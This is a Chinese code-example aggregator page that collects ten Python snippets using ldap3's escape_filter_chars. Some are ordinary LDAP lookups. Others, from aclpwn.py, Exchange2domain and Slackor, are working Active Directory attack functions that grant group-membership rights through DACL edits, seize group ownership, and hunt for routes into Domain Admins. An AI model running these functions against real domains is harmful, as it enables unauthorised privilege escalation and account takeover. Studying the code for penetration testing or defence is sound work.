當前位置: 首頁>>代碼示例>>Python>>正文


Python conv.escape_filter_chars方法代碼示例

本文整理匯總了Python中ldap3.utils.conv.escape_filter_chars方法的典型用法代碼示例。如果您正苦於以下問題:Python conv.escape_filter_chars方法的具體用法?Python conv.escape_filter_chars怎麽用?Python conv.escape_filter_chars使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在ldap3.utils.conv的用法示例。


在下文中一共展示了conv.escape_filter_chars方法的10個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: escape_chars

# 需要導入模塊: from ldap3.utils import conv [as 別名]
# 或者: from ldap3.utils.conv import escape_filter_chars [as 別名]
def escape_chars(self, str, encoding=None):
        """ Escape some characters in filter.

        Escape a set of characters in the filter string to help to mitigate against possibility of injection.
        This has a subset of characters escaped in ldap3 function escape_filter_chars.

        """
        if encoding is None:
            encoding = get_config_parameter('DEFAULT_ENCODING')

        str = to_unicode(str, encoding)
        escaped_str = str.replace('\\', '\\5c')
        escaped_str = escaped_str.replace('*', '\\2a')
        escaped_str = escaped_str.replace('\x00', '\\00')

        return escaped_str 
開發者ID:ibmresilient,項目名稱:resilient-community-apps,代碼行數:18,代碼來源:ldap_search.py

示例2: resolve_samname

# 需要導入模塊: from ldap3.utils import conv [as 別名]
# 或者: from ldap3.utils.conv import escape_filter_chars [as 別名]
def resolve_samname(self, samname, use_gc=True):
        """
        Resolve a SAM name in the GC. This can give multiple results.
        Returns a list of LDAP entries
        """
        out = []
        safename = escape_filter_chars(samname)
        with self.lock:
            if use_gc:
                if not self.addc.gcldap:
                    if not self.addc.gc_connect():
                        # Error connecting, bail
                        return None
                logging.debug('Querying GC for SAM Name %s', samname)
            else:
                logging.debug('Querying LDAP for SAM Name %s', samname)
            entries = self.addc.search(search_base="",
                                       search_filter='(sAMAccountName=%s)' % safename,
                                       use_gc=use_gc,
                                       attributes=['sAMAccountName', 'distinguishedName', 'sAMAccountType', 'objectSid'])
            # This uses a generator, however we return a list
            for entry in entries:
                out.append(entry)

        return out 
開發者ID:fox-it,項目名稱:BloodHound.py,代碼行數:27,代碼來源:objectresolver.py

示例3: resolve_upn

# 需要導入模塊: from ldap3.utils import conv [as 別名]
# 或者: from ldap3.utils.conv import escape_filter_chars [as 別名]
def resolve_upn(self, upn):
        """
        Resolve a UserPrincipalName in the GC.
        Returns a single LDAP entry
        """
        safename = escape_filter_chars(upn)
        with self.lock:
            if not self.addc.gcldap:
                if not self.addc.gc_connect():
                    # Error connecting, bail
                    return None
            logging.debug('Querying GC for UPN %s', upn)
            entries = self.addc.search(search_base="",
                                       search_filter='(&(objectClass=user)(userPrincipalName=%s))' % safename,
                                       use_gc=True,
                                       attributes=['sAMAccountName', 'distinguishedName', 'sAMAccountType', 'objectSid'])
            for entry in entries:
                # By definition this can be only one entry
                return entry 
開發者ID:fox-it,項目名稱:BloodHound.py,代碼行數:21,代碼來源:objectresolver.py

示例4: get_object_info

# 需要導入模塊: from ldap3.utils import conv [as 別名]
# 或者: from ldap3.utils.conv import escape_filter_chars [as 別名]
def get_object_info(ldapconnection, samname):
    entries = ldapconnection.search(get_ldap_root(ldapconnection), '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])
    try:
        dn = ldapconnection.entries[0].entry_dn
        sid_object = LDAP_SID(ldapconnection.entries[0]['objectSid'].raw_values[0])
        sid = sid_object.formatCanonical()
        return (dn, sid)
    except IndexError:
        raise ExploitException('User not found in LDAP: %s' % samname) 
開發者ID:fox-it,項目名稱:aclpwn.py,代碼行數:11,代碼來源:exploitation.py

示例5: getUserInfo

# 需要導入模塊: from ldap3.utils import conv [as 別名]
# 或者: from ldap3.utils.conv import escape_filter_chars [as 別名]
def getUserInfo(self, domainDumper, samname):
        entries = self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])
        try:
            dn = self.client.entries[0].entry_dn
            sid = self.client.entries[0]['objectSid']
            return (dn, sid)
        except IndexError:
            LOG.error('User not found in LDAP: %s' % samname)
            return False 
開發者ID:Ridter,項目名稱:Exchange2domain,代碼行數:11,代碼來源:ldapattack.py

示例6: _ldap_search_function

# 需要導入模塊: from ldap3.utils import conv [as 別名]
# 或者: from ldap3.utils.conv import escape_filter_chars [as 別名]
def _ldap_search_function(self, event, *args, **kwargs):
        """Resilient Function: entry point """
        try:
            # Get the function parameters:
            ldap_search_base = kwargs.get("ldap_search_base")  # text
            ldap_search_filter = self.get_textarea_param(kwargs.get("ldap_search_filter"))  # textarea
            ldap_search_attributes = kwargs.get("ldap_search_attributes")  # text
            ldap_param = kwargs.get("ldap_param")  # text

            LOG.info("ldap_search_base: %s", ldap_search_base)
            LOG.info("ldap_search_filter: %s", ldap_search_filter)
            LOG.info("ldap_search_attributes: %s", ldap_search_attributes)
            LOG.info("ldap_param: %s", ldap_param)

            search_params = {'search_base': ldap_search_base, 'search_filter': ldap_search_filter,
                             'search_attributes': ldap_search_attributes}
            if ldap_param:
                # Escape 'param' parameter.
                search_params.setdefault('param', escape_filter_chars(ldap_param))
            yield StatusMessage("Starting...")
            self.validate_params(search_params)
            self.update_param_fields(search_params)
            connection = self.setup_ldap_connection()
            yield StatusMessage("Running LDAP query...")
            results = self.run_search(search_params, connection)
            yield StatusMessage("done...")
            LOG.debug(json.dumps(results))
            # Produce a FunctionResult with the return value.
            yield FunctionResult(results)
        except Exception:
            yield FunctionError() 
開發者ID:ibmresilient,項目名稱:resilient-community-apps,代碼行數:33,代碼來源:ldap_search.py

示例7: add_addmember_privs

# 需要導入模塊: from ldap3.utils import conv [as 別名]
# 或者: from ldap3.utils.conv import escape_filter_chars [as 別名]
def add_addmember_privs(ldapconnection, state, user_sam, group_bh_name):
    # Query for the sid of our target user
    userdn, usersid = get_object_info(ldapconnection, user_sam)

    # Set SD flags to only query for DACL
    controls = security_descriptor_control(sdflags=0x04)

    # Dictionary for restore data
    restoredata = {}

    # print_m('Querying group security descriptor')
    group_sam = get_sam_name(group_bh_name)
    ldapconnection.search(get_ldap_root(ldapconnection), '(sAMAccountName=%s)' % escape_filter_chars(group_sam), attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
    entry = ldapconnection.entries[0]

    secDescData = entry['nTSecurityDescriptor'].raw_values[0]
    secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

    # Save old SD for restore purposes
    restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
    restoredata['target_sid'] = usersid

    # We need "write property" here to write to the "member" attribute
    accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP
    # this is the GUID of the Member attribute
    secDesc['Dacl']['Data'].append(create_object_ace('bf9679c0-0de6-11d0-a285-00aa003049e2', usersid, accesstype))
    dn = entry.entry_dn
    restoredata['target_dn'] = dn
    data = secDesc.getData()
    res = ldapconnection.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
    if res:
        print_o('Dacl modification successful')
        # Query the SD again to see what AD made of it
        ldapconnection.search(dn, '(objectClass=*)', search_scope=ldap3.BASE , attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
        entry = ldapconnection.entries[0]
        newSD = entry['nTSecurityDescriptor'].raw_values[0]
        newSecDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=newSD)
        # Save this to restore the SD later on
        restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
        restoredata['success'] = True
        state.push_history('add_addmember_privs', restoredata)
        return True
    else:
        restoredata['success'] = False
        state.push_history('add_addmember_privs', restoredata)
        # filter out already exists?
        raise ExploitException('Failed to add WriteMember privs for %s to group %s: %s' % (userdn, dn, str(ldapconnection.result))) 
開發者ID:fox-it,項目名稱:aclpwn.py,代碼行數:49,代碼來源:exploitation.py

示例8: write_owner

# 需要導入模塊: from ldap3.utils import conv [as 別名]
# 或者: from ldap3.utils.conv import escape_filter_chars [as 別名]
def write_owner(ldapconnection, state, user_sam, group_bh_name):
    # Query for the sid of our target user
    userdn, usersid = get_object_info(ldapconnection, user_sam)

    # Set SD flags to only query for owner
    controls = security_descriptor_control(sdflags=0x01)
    group_sam = get_sam_name(group_bh_name)

    # Dictionary for restore data
    restoredata = {}

    ldapconnection.search(get_ldap_root(ldapconnection), '(sAMAccountName=%s)' % escape_filter_chars(group_sam), attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
    entry = ldapconnection.entries[0]

    secDescData = entry['nTSecurityDescriptor'].raw_values[0]
    secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
    if secDesc['OwnerSid'].formatCanonical() == usersid:
        print_m('%s is already owned by %s, skipping' % (group_sam, user_sam))
        return True

    # Save old SD for restore purposes
    restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
    restoredata['target_sid'] = usersid
    restoredata['old_owner_sid'] = secDesc['OwnerSid'].formatCanonical()

    # Modify the sid
    secDesc['OwnerSid'] = LDAP_SID()
    secDesc['OwnerSid'].fromCanonical(usersid)


    dn = entry.entry_dn
    restoredata['target_dn'] = dn
    data = secDesc.getData()
    res = ldapconnection.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
    if res:
        print_o('Owner change successful')
        restoredata['success'] = True
        state.push_history('write_owner', restoredata)
        return True
    else:
        restoredata['success'] = False
        state.push_history('write_owner', restoredata)
        raise ExploitException('Failed to change owner of group %s to %s: %s' % (dn, userdn, str(ldapconnection.result))) 
開發者ID:fox-it,項目名稱:aclpwn.py,代碼行數:45,代碼來源:exploitation.py

示例9: validatePrivileges

# 需要導入模塊: from ldap3.utils import conv [as 別名]
# 或者: from ldap3.utils.conv import escape_filter_chars [as 別名]
def validatePrivileges(self, uname, domainDumper):
        # Find the user's DN
        membersids = []
        sidmapping = {}
        privs = {
            'create': False, # Whether we can create users
            'createIn': None, # Where we can create users
            'escalateViaGroup': False, # Whether we can escalate via a group
            'escalateGroup': None, # The group we can escalate via
            'aclEscalate': False, # Whether we can escalate via ACL on the domain object
            'aclEscalateIn': None # The object which ACL we can edit
        }
        self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId'])
        user = self.client.entries[0]
        usersid = user['objectSid'].value
        sidmapping[usersid] = user.entry_dn
        membersids.append(usersid)
        # The groups the user is a member of
        self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid'])
        LOG.debug('User is a member of: %s' % self.client.entries)
        for entry in self.client.entries:
            sidmapping[entry['objectSid'].value] = entry.entry_dn
            membersids.append(entry['objectSid'].value)
        # Also search by primarygroupid
        # First get domain SID
        self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid'])
        domainsid = self.client.entries[0]['objectSid'].value
        gid = user['primaryGroupId'].value
        # Now search for this group by SID
        self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName'])
        group = self.client.entries[0]
        LOG.debug('User is a member of: %s' % self.client.entries)
        # Add the group sid of the primary group to the list
        sidmapping[group['objectSid'].value] = group.entry_dn
        membersids.append(group['objectSid'].value)
        controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl
        # Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs
        entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
        self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)
        # Also get the privileges on the default Users container
        entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
        self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)

        # Interesting groups we'd like to be a member of, in order of preference
        interestingGroups = [
            '%s-%d' % (domainsid, 519), # Enterprise admins
            '%s-%d' % (domainsid, 512), # Domain admins
            'S-1-5-32-544', # Built-in Administrators
            'S-1-5-32-551', # Backup operators
            'S-1-5-32-548', # Account operators
        ]
        privs['escalateViaGroup'] = False
        for group in interestingGroups:
            self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass'])
            groupdata = self.client.response
            self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper)
            if privs['escalateViaGroup']:
                # We have a result - exit the loop
                break
        return (usersid, privs) 
開發者ID:Ridter,項目名稱:Exchange2domain,代碼行數:62,代碼來源:ldapattack.py

示例10: validatePrivileges

# 需要導入模塊: from ldap3.utils import conv [as 別名]
# 或者: from ldap3.utils.conv import escape_filter_chars [as 別名]
def validatePrivileges(self, uname, domainDumper):
        # Find the user's DN
        membersids = []
        sidmapping = {}
        privs = {
            'create': False, # Whether we can create users
            'createIn': None, # Where we can create users
            'escalateViaGroup': False, # Whether we can escalate via a group
            'escalateGroup': None, # The group we can escalate via
            'aclEscalate': False, # Whether we can escalate via ACL on the domain object
            'aclEscalateIn': None # The object which ACL we can edit
        }
        self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId'])
        user = self.client.entries[0]
        usersid = user['objectSid'].value
        sidmapping[usersid] = user.entry_dn
        membersids.append(usersid)
        # The groups the user is a member of
        self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid'])
        LOG.debug('User is a member of: %s' % self.client.entries)
        for entry in self.client.entries:
            sidmapping[entry['objectSid'].value] = entry.entry_dn
            membersids.append(entry['objectSid'].value)
        # Also search by primarygroupid
        # First get domain SID
        self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid'])
        domainsid = self.client.entries[0]['objectSid'].value
        gid = user['primaryGroupId'].value
        # Now search for this group by SID
        self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName'])
        group = self.client.entries[0]
        LOG.debug('User is a member of: %s' % self.client.entries)
        # Add the group sid of the primary group to the list
        sidmapping[group['objectSid'].value] = group.entry_dn
        membersids.append(group['objectSid'].value)
        controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl
        # Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs
        entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
        self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)
        # Also get the privileges on the default Users container
        entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
        self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)

        # Interesting groups we'd like to be a member of, in order of preference
        interestingGroups = [
            '%s-%d' % (domainsid, 519), # Enterprise admins
            '%s-%d' % (domainsid, 512), # Domain admins
            'S-1-5-32-544', # Built-in Administrators
            'S-1-5-32-551', # Backup operators
            'S-1-5-32-548', # Account operators
        ]
        privs['escalateViaGroup'] = False
        for group in interestingGroups:
            self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls)
            groupdata = self.client.response
            self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper)
            if privs['escalateViaGroup']:
                # We have a result - exit the loop
                break
        return (usersid, privs) 
開發者ID:Coalfire-Research,項目名稱:Slackor,代碼行數:62,代碼來源:ldapattack.py


注:本文中的ldap3.utils.conv.escape_filter_chars方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。